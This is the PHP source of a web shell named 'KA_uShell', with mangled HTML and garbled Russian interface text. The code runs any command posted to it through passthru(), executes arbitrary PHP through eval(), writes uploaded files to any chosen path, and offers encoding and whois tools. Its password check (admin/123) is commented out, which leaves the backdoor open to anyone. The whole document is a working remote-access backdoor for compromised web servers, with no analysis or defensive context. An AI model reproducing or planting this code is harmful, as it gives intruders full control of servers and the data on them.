"; // Configuration $login = "admin"; $pass = "123"; /*/ Authentication if (!isset($_SERVER['PHP_AUTH_USER'])) { header('WWW-Authenticate: Basic realm="KA_uShell"'); header('HTTP/1.0 401 Unauthorized'); exit;} else { if(empty($_SERVER['PHP_AUTH_PW']) || $_SERVER['PHP_AUTH_PW']<>$pass || empty($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']<>$login) { echo "×òî íàäî?"; exit;} } */ if (!empty($_GET['ac'])) {$ac = $_GET['ac'];} elseif (!empty($_POST['ac'])) {$ac = $_POST['ac'];} else {$ac = "shell";} // Menu echo " |
Shell
| |
File Upload
| |
Tools
| |
PHP Eval Code
| |
Whois
|
"; switch($ac) { // Shell case "shell": echo <<Shell
$$sern
HTML; if (!empty($_POST['c'])){ passthru($_POST['c']); } echo "
$tend"; break; //PHP Eval Code execution case "eval": echo <<PHP Eval Code
$tend HTML; if (isset($_POST['ephp'])){ eval($_POST['ephp']); } break; //Text tools case "tools": echo <<Tools
B64 Decode
B64 Encode
md5 Hash
$tend HTML; if (!empty($_POST['tot']) && !empty($_POST['tac'])) { switch($_POST['tac']) { case "1": echo "Ðàñêîäèðîâàííûé òåêñò:
" .base64_decode($_POST['tot']). "
"; break; case "2": echo "Êîäèðîâàííûé òåêñò:
" .base64_encode($_POST['tot']). "
"; break; case "3": echo "Êîäèðîâàííûé òåêñò:
" .md5($_POST['tot']). "
"; break; }} break; // Uploading case "upload": echo <<File Upload
Ôàéëî:
Ïàïêà:
$tend HTML; if (isset($_POST['path'])){ $uploadfile = $_POST['path'].$_FILES['file']['name']; if ($_POST['path']==""){$uploadfile = $_FILES['file']['name'];} if (copy($_FILES['file']['tmp_name'], $uploadfile)) { echo "Ôàéëî óñïåøíî çàãðóæåí â ïàïêó $uploadfile\n"; echo "Èìÿ:" .$_FILES['file']['name']. "\n"; echo "Ðàçìåð:" .$_FILES['file']['size']. "\n"; } else { print "Íå óäà¸òñÿ çàãðóçèòü ôàéëî. Èíôà:\n"; print_r($_FILES); } } break; // Whois case "whois": echo <<Whois
Äîìåí:
Õóéç ñåðâåð:
$tend HTML; if (isset($_POST['wq']) && $_POST['wq']<>"") { if (empty($_POST['wser'])) {$wser = "whois.ripe.net";} else $wser = $_POST['wser']; $querty = $_POST['wq']."\r\n"; $fp = fsockopen($wser, 43); if (!$fp) {echo "Íå ìîãó îòêðûòü ñîêåò";} else { fputs($fp, $querty); while(!feof($fp)){echo fgets($fp, 4000);} fclose($fp); }} break; } ?>